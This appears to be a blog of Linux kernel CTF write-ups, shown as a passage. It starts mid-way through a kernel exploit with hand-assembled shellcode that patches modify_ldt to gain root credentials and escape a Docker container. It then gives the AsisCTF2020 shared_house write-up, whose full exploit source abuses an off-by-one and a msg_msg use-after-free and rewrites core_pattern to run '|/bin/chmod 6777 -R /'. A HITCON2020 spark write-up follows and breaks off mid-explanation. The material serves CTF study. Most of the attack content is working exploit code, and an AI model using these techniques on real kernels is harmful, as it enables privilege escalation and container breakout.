  write(pipe_fds[victim_pipe_fds[0]][1], &new_pte, 8);
  if (corrupted_mmap_addr == (void *)-1) {
    find_corrupted_mmap_addr();
  }
  void *affected_addr = corrupted_mmap_addr + cur_offset;
  cur_offset += 0x1000;
  return affected_addr;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}

#define MODIFY_LDT_ADDR 0xffffffff810252f0
#define MODIFY_LDT_OFFSET (MODIFY_LDT_ADDR - KERNEL_BASE_START)
uint64_t *modify_ldt_addr;
uint8_t original_modify_ldt_code[0x1000];
static void get_shell() {
  puts("[+] Escaping docker is success");
  puts("    [*] Restore original modify_ldt code");
  memcpy(modify_ldt_addr, original_modify_ldt_code,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET & 0xfff));

  puts("[+] Get shell!");
  char *argv[] = {"/bin/bash", NULL};
  char *envp[] = {NULL};
  execve("/bin/bash", argv, envp);
}
void patch_modify_ldt() {
  const uint64_t pte_for_modify_ldt =
      default_pte_for_kernel_code + (MODIFY_LDT_OFFSET & ~(0xFFF));
  modify_ldt_addr =
      (uint64_t *)(set_pte(pte_for_modify_ldt) + (MODIFY_LDT_OFFSET & 0xfff));
  /*
   * Below opcodes are from:
   * call get_rip;
   * get_rip:
   *   pop r15;
   *   sub r15, 0x252f0; // &__x64_sys_modify_ldt - kbase == 0x252f0
   *   sub r15, 5; // call get_rip; takes 5 bytes
   *
   *   // call commit_creds(&init_cred);
   *   lea rdi, [r15 + 0x145a960]; // &init_cred - kbase == 0x145a960
   *   lea rax, [r15 + 0xeba40]; // &commit_creds - kbase == 0xeba40
   *   call rax;
   *
   *   // task = find_task_by_vpid(1);
   *   // call switch_task_namespaces(task, &init_nsproxy);
   *   mov rdi, 1;
   *   lea rax, [r15 + 0xe4fc0]; // &find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // find_task_by_vpid(1)
   *   mov rdi, rax; // task
   *   lea rsi, [r15 + 0x145a720]; // &init_nsproxy - kbase == 0x145a720
   *   lea rax, [r15 + 0xea4e0]; // &switch_task_namespaces - kbase == 0xea4e0
   *   call rax; // switch_task_namespaces(task, &init_nsproxy);
   *
   *   // current = find_task_by_vpid(pid);
   *   // current->fs = copy_fs_struct(&init_fs);
   *   lea rdi, [r15 + 0x1589740]; // &init_fs - kbase == 0x1589740
   *   lea rax, [r15 + 0x2e7350]; // &copy_fs_struct - kbase == 0x2e7350
   *   call rax; // copy_fs_struct(&init_fs);
   *   mov rbx, rax; // new_fs
   *   mov rdi, 0x1111111111111111; // pid: will be fiexed
   *   lea rax, [r15 + 0xe4fc0]; // &find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // current = find_task_by_vpid(pid)
   *   mov [rax + 0x6e0], rbx; // current->fs = new_fs
   *
   *   // bypass kpti
   *   xor rax, rax;
   *   mov [rsp + 0x00], rax;
   *   mov [rsp + 0x08], rax;
   *   mov rax, 0x2222222222222222; // user_ip: will be fixed
   *   mov [rsp + 0x10], rax;
   *   mov rax, 0x3333333333333333; // user_cs: will be fixed
   *   mov [rsp + 0x18], rax;
   *   mov rax, 0x4444444444444444; // user_rflags: will be fixed
   *   mov [rsp + 0x20], rax;
   *   mov rax, 0x5555555555555555; // user_sp: will be fixed
   *   mov [rsp + 0x28], rax;
   *   mov rax, 0x6666666666666666; // user_ss: will be fixed
   *   mov [rsp + 0x30], rax;
   *   lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06
   *   jmp rax; // bypass_kpti
   */
  uint8_t new_modify_ldt_code[] = {
      0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x49, 0x81, 0xEF, 0xF0, 0x52,
      0x02, 0x00, 0x49, 0x83, 0xEF, 0x05, 0x49, 0x8D, 0xBF, 0x60, 0xA9, 0x45,
      0x01, 0x49, 0x8D, 0x87, 0x40, 0xBA, 0x0E, 0x00, 0xFF, 0xD0, 0x48, 0xC7,
      0xC7, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00,
      0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x49, 0x8D, 0xB7, 0x20, 0xA7, 0x45, 0x01,
      0x49, 0x8D, 0x87, 0xE0, 0xA4, 0x0E, 0x00, 0xFF, 0xD0, 0x49, 0x8D, 0xBF,
      0x40, 0x97, 0x58, 0x01, 0x49, 0x8D, 0x87, 0x50, 0x73, 0x2E, 0x00, 0xFF,
      0xD0, 0x48, 0x89, 0xC3, 0x48, 0xBF, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
      0x11, 0x11, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00, 0xFF, 0xD0, 0x48,
      0x89, 0x98, 0xE0, 0x06, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x89, 0x04,
      0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xB8, 0x22, 0x22, 0x22, 0x22,
      0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xB8, 0x33,
      0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18,
      0x48, 0xB8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
      0x44, 0x24, 0x20, 0x48, 0xB8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
      0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xB8, 0x66, 0x66, 0x66, 0x66,
      0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8D, 0x87,
      0x06, 0x0F, 0xC0, 0x00, 0xFF, 0xE0};

  uint64_t *ptr;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
  *ptr = getpid();
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
  *ptr = (uint64_t)get_shell;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
  *ptr = user_cs;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
  *ptr = user_rflags;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
  *ptr = user_sp;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
  *ptr = user_ss;

  memcpy(original_modify_ldt_code, modify_ldt_addr,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET & 0xfff));
  memcpy(modify_ldt_addr, new_modify_ldt_code, sizeof(new_modify_ldt_code));
}

#define SLAB_COUNT 7

int main() {
  pin_to_core(0);
  save_state();
  vuln_fd = open("/proc_rw/cormon", O_RDWR);
  if (vuln_fd < 0) {
    fatal("open");
  }
  void *tmpbuf = malloc(0x1000);
  uint64_t *uint64_tmpbuf = (uint64_t *)tmpbuf;

FIRST_STEP:
#define RETRY()                                            \
  do {                                                     \
    for (int i = 0; i < pipe_cnt; ++i) {                   \
      close_pipe_at(i);                                    \
    }                                                      \
    sched_yield();                                         \
    puts("\n[*] Retry from first step after 1 seconds\n"); \
    sleep(1);                                              \
    goto FIRST_STEP;                                       \
  } while (0)

  puts("[*] Do side-channel for kmalloc-4k slab...");
  while (make_kmalloc_4k_slab_full(SLAB_COUNT) < 0) {
    puts("    [*] Retry side-channel for kmalloc-4k slab...");
    for (int i = 0; i < pipe_cnt; ++i) {
      close_pipe_at(i);
    }
    sched_yield();
  }
  puts("    [+] Side-channel success");

  const size_t target_pipe_idx = SLAB_COUNT * 4 + 4;
  puts("[*] Trigger off-by-one...");
  sched_yield();
  close_pipe_at(target_pipe_idx);
  off_by_one_in_kmalloc_4k();
  alloc_4k_pipe_at(target_pipe_idx);
  sched_yield();

  puts("[*] Finding overlapped pipes...");
  if (find_overlapped_pipes()) {
    puts("    [-] Overlapping seems false positive");
    RETRY();
  }
  printf("    [+] pipe @ %lx and pipe @ %lx are overlapped!\n",
         victim_pipe_fds[0], victim_pipe_fds[1]);

  puts("[*] Test overlapped pipes");
  if (test_overlapped_pipes() < 0) {
    puts("    [-] Overlapping seems false positive");
    RETRY();
  }
  puts("    [+] Overlapping is true");

  puts("[*] Set pipe's offset to 0x1000 for reading PTEs");
  write(pipe_fds[victim_pipe_fds[0]][1], original_ptes, 0x1000);

  puts("[*] Spray PTEs...");
  spray_ptes_target_to_victim_pipe_page();

  puts("[*] Read PTEs");
  read(pipe_fds[victim_pipe_fds[0]][0], original_ptes, 0x1000);
  if ((original_ptes[0] & PTE_FLAGS_MASK) != 0x8000000000000867) {
    puts("    [-] UAF page does not contain PTEs");
    RETRY();
  }
  printf("    [+] UAF page contains PTEs (One of them is 0x%016lx)\n",
         original_ptes[0]);

  puts("[*] Overwrite PTE to leak physical kernel base");
  const uint64_t new_pte_for_dmabuf =
      PAGE_DEFAULT_FLAGS | 0x9c000;  // dmabuf..? WTF?!
  uint64_t *dmabuf_addr = (uint64_t *)set_pte(new_pte_for_dmabuf);

  find_corrupted_mmap_addr();
  if (corrupted_mmap_addr == (void *)-1) {
    puts("    [-] Corrupted mmap addr not found");
    RETRY();
  }
  printf("    [+] Corrupted mmap addr: %p\n", corrupted_mmap_addr);
  physical_kernel_base = (*dmabuf_addr & PTE_PFN_MASK) - 0x2004000ULL;
  printf("    [+] physical kernel base: 0x%016lx\n", physical_kernel_base);
  default_pte_for_kernel_code = physical_kernel_base | PAGE_DEFAULT_FLAGS;

  puts("[*] Escaping docker...");
  puts("    [*] Patch modify_ldt");
  patch_modify_ldt();
  puts("    [*] Call patched modify_ldt...");
  syscall(SYS_modify_ldt);
  puts("    [-] Failed to Escaping docker");

  get_enter_to_continue("Press enter to exit...");
  return 0;
}

Reference

AsisCTF2020Qual shared_house

Thu, 27 Feb 2025 12:17:57 +0000

Problem

Enviroment

linux version: 4.19.98
- No SMAP
- No KPTI

Features

This challenge provide simple device (it has only one function: mod_ioctl). And the function is like following:

struct request_t
{
    unsigned int size;
    char __padding0[4];
    void *data;
};

uint64_6 mod_ioctl(struct file *a1, unsigned int cmd, unsigned __int64 arg) {
  struct request_t req;

  if (copy_from_user(&req, arg, 0x10LL)) return -14LL;
  if (req.size > 0x80) return -22LL;
  mutex_lock(&_mutex);
  if (cmd == 0xC12ED002) {  // cmd == 0xC12ED002: delete_note
    if (!note) {
      goto ERROR;
    }
    kfree(note);
    note = 0LL;
  } else if (cmd == 0xC12ED001) {  // cmd == 0xC12ED001: alloc_new_note
    if (note) kfree(note);
    size = req.size;
    note = (char *)_kmalloc(req.size, 0x6080C0LL);
    if (!note) goto ERROR;
  } else if (cmd == 0xC12ED003) {  // cmd == 0xC12ED003: write_note
    if (!note || req.size > size || copy_from_user(note, req.data, req.size))
      goto ERROR;
    note[req.size] = 0;  // off-by-one if req.size==size
  } else if (cmd != 0xC12ED004 || !note || req.size > size ||
             copy_to_user(req.data, note,
                          req.size)) {  // cmd ==  0xC12ED004: read_note
    goto ERROR;
  }
  mutex_unlock(&_mutex);
  return 0LL;

ERROR:
  mutex_unlock(&_mutex);
  return -22;
}

Vulnerability

The vulnerability is obvious. The off-by-one in write_note.

Exploit

Since the off-by-one occurs in heap chunk, I decide to use struct msg_msg and free list. Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.

Trigger off-by-one

Triggering off-by-one is simple:

vuln_dev_alloc_new_note(0x20);
vuln_dev_write_note(buf, 0x20);  // Trigger off-by-one

Get controlled(UAF) msg_msg chunk

In struct msg_msg, the m_list.next and m_list.prev exist. And they are connected with other messages by using double linked list.

Because we can overwrite 1 byte after our note, we can overwrite LSB of m_list.next if the message is located after our note. My plain is “making dangling pointer in m_list to free-ed message and make the free-ed chunk become our note.

For example, initial messages (consider all messages locate consequently):

    graph LR
	  A[msg 1] -->|next| B
	  A -->|prev| E
	
	  B[msg 2] -->|next| C
	  B -->|prev| A
	
	  C[msg 3] -->|next| D
	  C -->|prev| B
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

And free middle message (msg 2) via do_msgrcv and allocate it as our note:

    graph LR
	  A[msg 1] -->|next| C
	  A -->|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] -->|next| D
	  C -->|prev| A
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

Make invalid m_list.next via triggering off-by-one:

    graph LR
	  A[msg 1] -->|next| C
	  A -->|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] -->|next| E
	  C -->|prev| A
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

With this connections, the unlink of msg 5 and free_msg to it make dangling pointer to msg 5 in msg 3.

After freeing msg 5, the allocated note will be have same address with msg 5. Then we can make limited_aar using next in struct msg_msg. The disadventage of limited_aar is 1. the first 8 bytes must be zeros (because of store_msg) 2. the read address will be freed (because of free_msg).

But we can leak the address of msg 5(UAF chunk) and kernel base only with limited_arr.

Overwrite free list and allocate arbitrary address via `kmalloc`

Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk. Currently the note (this is same as msg 5) is freed and thus it has pointer to next free-ed chunk. So overwriting it with core_pattern address, allocating serveral chunks and ETC give us the core_pattern as note.

Code

c AsisCTF2020Qual-shared_house-exploit.c

      #include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) >= KERNEL_BASE_START && (addr) <= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be > 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m->mtext, data, size);
  m->mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m->mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m->mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME "/dev/note"
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i < 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i < 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == 'A') {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal("[-] Failed to find UAF msg_msg");
    }

    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg->next = (struct msg_msg*)fake_msg;
    fake_msg->prev = (struct msg_msg*)fake_msg;
    fake_msg->m_type = 1;
    fake_msg->m_ts = target_obj_size;
    memset(fake_msg->data, 'A', 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg->next = (struct msg_msg*)fake_msgmsg;
  uaf_msg->prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg->m_type = 1;
  uaf_msg->m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg->next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i < (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] & KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr < *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd < 0) {
    fatal("open(" VULN_DEV_NAME ")");
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid < 0) {
    fatal("msgget");
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal("mmap");
  }
  printf("[*] fake_msgmsg: %p\n", fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype > 0) {
    printf("[-] Failed to find UAF msg_msg\n");
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf("[+] Found UAF msg_msg with mtype: %d\n", uaf_msgmsg_mtype);
  printf("    [*] Now note is same as UAF msg_msg\n");
  printf("    [*] The prev of UAF msg_msg is 0x%016lx\n", prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf("[*] Leaking UAF chunk addr and kernel base...\n");
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &uaf_chunk_addr, &kernel_addr) < 0) {
    printf("    [-] Failed to leak uaf chunk addr and kernel base\n");
    return -1;
  }
  printf("    [+] Found UAF chunk address: 0x%016lx\n", uaf_chunk_addr);
  printf("    [+] Found kernel address: 0x%016lx\n", kernel_addr);

  printf("[*] Overwrite free list to overwrite modprobe_path\n");
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 < 0) {
    fatal("msgget");
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf("    [*] Overwriting free list at 0x%016lx to 0x%016lx\n",
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&next_free_chunk, 8);
  printf("    [*] Consume chunks in free list");
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf("    [*] Now allocate note with addr=0x%016lx\n", next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = "|/bin/chmod 6777 -R /";
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf("[*] Overwrite core_pattern to \"%s\"\n", new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf("    [-] Failed to overwrite core_pattern (core_pattern=\"%s\")\n",
             core);
      return -1;
    }
  }

  printf("    [+] Successfully overwrite core_pattern\n");

  printf("[*] Trigger core_pattern\n");
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}

Reference

HITCON2020 spark

Tue, 18 Feb 2025 15:33:22 +0000

Problem

Environment

linux version: 5.9.11
- No SMAP
- No SMEP
- No KPTI

Module

The source code of module is not provided, but the challenge gives us the demo program using it.

c HITCON2020-spark-demo.c

      /*
 * This is a demo program to show how to interact with SPARK.
 * Don't waste time on finding bugs here ;)
 *
 * Copyright (c) 2020 david942j
 */

#include <assert.h>
#include <fcntl.h>
#include <linux/spark.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define DEV_PATH "/dev/node"

#define N 6
static int fd[N];
const char l[] = "ABCDEF";

/*
    B -- 10 -- D -- 11 -- F
   / \         |
  4   |        |
 /    |        |
A     5        4
 \    |        |
  2   |        |
    \ |        |
      C -- 3 - E
 */
static void link(int a, int b, unsigned int weight) {
  printf("Creating link between '%c' and '%c' with weight %u\n", l[a], l[b],
         weight);
  assert(ioctl(fd[a], SPARK_LINK, fd[b] | ((unsigned long long)weight << 32)) ==
         0);
}

static void query(int a, int b) {
  struct spark_ioctl_query qry = {
      .fd1 = fd[a],
      .fd2 = fd[b],
  };
  assert(ioctl(fd[0], SPARK_QUERY, &qry) == 0);
  printf("The length of shortest path between '%c' and '%c' is %lld\n", l[a],
         l[b], qry.distance);
}

int main(int argc, char *argv[]) {
  for (int i = 0; i < N; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] >= 0);
  }
  link(0, 1, 4);
  link(0, 2, 2);
  link(1, 2, 5);
  link(1, 3, 10);
  link(2, 4, 3);
  link(3, 4, 4);
  link(3, 5, 11);
  assert(ioctl(fd[0], SPARK_FINALIZE) == 0);
  query(0, 5);
  query(3, 2);
  query(2, 5);

  for (int i = 0; i < N; i++) close(fd[i]);
  return 0;
}

As we can see in demo.c, this module is for a shortest path search. And each node can be allocated by open and two nodes can be linked by link. The searching path is done by query.

I think these are all knowlege which we can know from demo.c. So I do reserving spark.ko. The module has 4 features: link, finalize, query, get_info.

Vulnerability

The vulnerability is in spark_node_put. When we close the node and if the reference count is one, free the node itself and its double linked list nodes. But when free the node, the node in other node (which is linked with the closed node) is not freed.

For example, we allocate 2 nodes(node A and node B) via open and link them. The node A’s fd and bk has the pointer to node B. And of course, node B has the pointer to node A in fd and bk. After linking, if we close node B, the node B is free-ed but the pointer in node A is not deleted.

The fd and bk in each node are used in spark_node_finalize and spark_graph_query.

Exploit

Trigger UAF

As I explained in above, the UAF can be caused by following code:

int fds[2];
for (int i = 0; i < sizeof(fds) / 4; ++i) {
  fds[i] = open(VULN_DEV_NAME, O_RDONLY);
}
vuln_dev_link(fds[0], fds[1], 0);
close(fds[1]);

Build fake node

The structure of node and linked list node is like:

typedef struct spark_link_t {
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  struct spark_node_t* target;
  uint64_t weight;
} spark_link_t;
typedef struct spark_node_t {
  uint64_t idx;
  uint32_t ref_cnt;
  uint32_t __padding_0;
  char start_lock[32];
  uint32_t is_finalized;
  uint32_t __padding_1;
  char nb_lock[32];
  uint64_t link_cnt;
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  uint64_t idx_in_table;
  spark_node_table_t* node_table;
} spark_node_t;

And the invalid values in spark_node_t may cause crash. And with several tries I found if start_lock is zeros and bk and fd is correctly set, crash does not occurs.

So, I try finding proper object which can control UAF object and I decide to use struct msg_msgseg. It allocated by user-defined length and user’s data. And the best thing is it can be fully controlled by user!! (except first 8 bytes). Because the first 8 bytes of spark_node_t is index of each node, it can be set any value.

Now we can control the UAF node by struct msg_msgseg.

Prevent crash while finalize

By using struct msg_msgseg and set start_lock with zeros, the crash in mutex_lock can be prevented. But there is the traversal mechanism which travel the linked nodes in traversal. The traversal ends when &node->bk == cur_node->bk.

Since we does not know the address of node, we cannot stop the traversal and this occurs the crash…. However differ my expectation, the crash does not reboot the OS and print kernel’s registers! Morever in the kernel’s registers there is the address of UAF node (R13).

With this observation, I crash the kernel several times and the address of UAF node may not be changed. So I think I can use it.

After one crashing, I set bk and fd with the value of R13+0x60 (this is R12 of panic information) and execute the program, no crash occurs in traversal.

Make invalid node table by finalize

The spark_node_finalize function makes the node table and set each linked node’s index in the table. For example, the graph is following:

    B -- 10 -- D
   / \ 
  4   |
 /    |
A     5
 \    |
  2   |
    \ |
      C -- 3 - E

And if we request finalize on node A, the A’s node_table and idx_in_table of each nodes are set by following:

0: A (its `idx_in_table` is 0)
1: C (its `idx_in_table` is 1)
2: E (its `idx_in_table` is 2)
3: B (its `idx_in_table` is 3)
4: D (its `idx_in_table` is 4)

The node_table and idx_in_table is used in spark_graph_query (And in this function, 8 bytes OOB write can be triggered, explained in later).

Since the environment of this challenge is No-SMAP and No-SMEP and we can controll fd and bk of UAF node, we can insert fake nodes (defined in user-land) to linked list. So for the OOB write I set fake nodes to build node_table like following:

0: A
1: UAF node
2: Fake user-land node
3: Fake user-land node

Trigger OOB write

In spark_graph_query function, there is a following routine:

// ...
